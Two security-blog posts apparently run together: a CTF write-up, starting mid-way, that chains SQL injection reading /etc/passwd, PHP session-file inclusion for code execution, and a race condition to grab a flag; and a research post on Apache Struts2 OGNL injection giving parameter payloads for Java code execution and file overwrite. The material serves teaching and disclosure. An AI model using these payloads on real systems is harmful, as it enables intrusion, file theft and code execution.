/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy 😉 The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them 🙂

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.


Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java

January 4, 2012

This post was voted as 2nd best in the Top 10 Web Hacking Techniques of 2011 poll.

Introduction

Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter id was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:

request response
?id=abc abc
?id=abc’
?id=abc’||’def
?id=abc’+’def abcdef

Ok that looked promising. SQLi here we go:

request response
?id=abc’+/**/’def
?id=abc’+(select 1)+’def
?id=abc’+(select 1 from dual)+’def

Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?

request response
?id=abc’%00
?id=abc’;%00
?id=abc’– –

No luck, so I started from the beginning:

request response
?id=abc’+’def abcdef
?id=abc’+1+’def abc1def
?id=abc’+(1)+’def abc1def
?id=abc’+a+’def abcnulldef

Wooty? That was really interesting. No DBMS would return null for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:

request response
?id=abc’+name+’def&name=foo abcfoodef

This was a Java app so I tried some more stuff and this one worked to my suprise:

request response
?id=abc’+(new java.lang.String(“foo”))+’def abcfoodef

Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts 2.2.2.1.

Apache Struts2, XWork and OGNL

Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork’s ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the parametername within the request to HelloWorld.action?parametername=1 is evaluated as OGNL expression.
A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like product.id=1 the OGNL parser will call the appropiate setter getProduct().setId(1) in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables.

Apache Struts2 vulnerabilities in the past

To prevent attackers calling arbitrary Java methods within parameters the flag xwork.MethodAccessor.denyMethodExecution is set to true and the SecurityMemberAccess field allowStaticMethodAccess is set to false by default.
Before Struts 2.2.2.1 it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability here. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts 2.2.2.1 was to apply a tightened character whitelist to XWork’s ParametersInterceptor, that prevents injecting the hashtag # and the backslash \ (for encoding the hashtag) and therefore prevents the access to the security flags.

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type Integer or Long with a value of type String. Then the value was evaluated as OGNL expression again – maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed.
Unfortunetly for me, the bug had been already reported two month earlier and was fixed (almost silently) in Struts 2.2.3.1. You can find a list of all security bulletings for Struts here. Reason enough to have another look.

New Apache Struts2 vulnerabilities

The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below 2.3.1.1) leading to remote code execution when Struts is configured to handle cookies.

The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in (‘ognl’)(x)=1 or you can use list indexes that are evaluated before used as in x[ognl]=1.
However you can not call arbitrary methods like x[@java.lang.System@exec(‘calc’)]=1 because the security flag for allowStaticMethodAccess is disabled and the character @ (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma , is also not whitelisted) by providing name=foo or x[name(‘foo’)]=1 that will both call the setter setName(‘foo’).

Then we found out you can also call constructors with one parameter with x[new java.lang.String(‘foo’)]=1. This leads to a arbitrary file overwrite vulnerability when calling the FileWriter constructor x[new java.io.FileWriter(‘test.txt’)]=1. To inject the forbidden slash / character into the filename one can use a existent property of type String, in example x[new java.io.FileWriter(message)]=1&message=C:/test.txt. FileWriter will automatically create an empty file or overwrite an existing one.

A detailed description of all vulnerabilities with example code and PoC can be found in our advisory.

Property oriented programming with Java

Sorry for the buzzword 😉 But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new java.io.FileWriter(‘test.txt’) but we cannot call java.io.FileWriter(‘test.txt’).write(‘data’) because denyMethodExecution is enabled and OGNL would try to call the setter setWrite(‘data’) on the FileWriter object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the arbitrary file overwrite vulnerability into a file upload vulnerability.

So I downloaded lots of Apache Commons libraries and wrote some regexes to find interesting gadgets. Useful gadgets would be classes with public constructors having only one parameter:

"/public\s*[A-Za-z]*\s*$classname\s*\(([A-Za-z0-9_]+\s+[^,\s]+|\s*)\)\s*{[^}]*}/"

and having at least one setter with only one parameter:

"/public.*set[A-Za-z0-9_]+\s*\((String|long|int|\s*)\s*[^,]*\)\s*{/"

In Struts, XWork, OGNL and 9 additional Apache Commons libraries 239 classes with a public constructor and a total of 669 setters could be found.

Example 1

To my suprise I found exactly what I was looking for in the class PrettyPrintWriter shipped with Struts itself:

package org.apache.struts2.interceptor.debugging;

public class PrettyPrintWriter {
 [...]
    // constructors with 3, 2 and 1 parameter
    public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
        this.writer = new PrintWriter(writer);
        this.lineIndenter = lineIndenter;
        this.newLine = newLine;
    }

    public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
        this(writer, lineIndenter, "\n");
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
        this(writer, lineIndenter.toCharArray(), newLine);
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter) {
        this(writer, lineIndenter.toCharArray());
    }

    // constructor with only one parameter that accepts our FileWriter
    public PrettyPrintWriter(Writer writer) {
        this(writer, new char[]{' ', ' '});
    }

    // setter that will call write() on our FileWriter()
    public void setValue(String text) {
        readyForNewLine = false;
        tagIsEmpty = false;
        finishTag();

        writeText(writer, text);
    }

   protected void writeText(PrintWriter writer, String text) {
        writeText(text);
    }

    // write text to writer object
    private void writeText(String text) {
        int length = text.length();
        for (int i = 0; i < length; i++) {
            char c = text.charAt(i);
            switch (c) {
                case '\0':
                    this.writer.write(NULL);
                    break;            
                [...]
                default:
                    this.writer.write(c);
            }
        }
    }
 [...]
}

Perfect. We can create a new PrettyPrintWriter with the public constructor:

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]

We use the constructor in line 25 that accepts only one parameter (remember that the comma is not whitelisted) of type Writer (FileWriter is a subclass of Writer):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter(‘test.txt’))]=1

This will save our FileWriter object to this.writer (line 7). Now we call the method value on our PrettyPrintWriter object and OGNL will try to call the setter setValue which indeed exists (line 30):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter(‘test.txt’)).value(‘data’)]=1

The call of setValue will in the end call writeText that will call a write (line 53) with our data to our FileWriter object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.

However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:

foobar=AAAAAAAA…&x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.BufferedWriter(new java.io.FileWriter(‘test026.txt’))).value(foobar)]=1

The FileWriter is now wrapped in a BufferedWriter (a direct subclass of Writer). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept setValue as a valid setter because the property value does not exist in PrettyPrintWriter.

Example 2

There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class ContextBean:

package org.apache.struts2.components;

public abstract class ContextBean extends Component {
    protected String var;
    
    public ContextBean(ValueStack stack) {
        super(stack);
    }

    public void setVar(String var) {
        if (var != null) {
            this.var = findString(var);
        }
    }
}

If you can create your own ValueStack object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter setVar (line 10) which is a real setter because the property var exists (line 4). The setter setVar will then call findString (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):

x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1
&foobar=OGNL expression

The problem in this example is to create a ValueStack with a constructor that has only one parameter to avoid the filtered comma. The class com.opensymphony.xwork2.util.ValueStack itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example.

You get the idea of “property oriented programming” 😉 If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new Struts 2.3.1.1 because whitespaces are not whitelisted anymore and you cannot access constructors anymore.

All Struts users should update to Struts 2.3.1.1.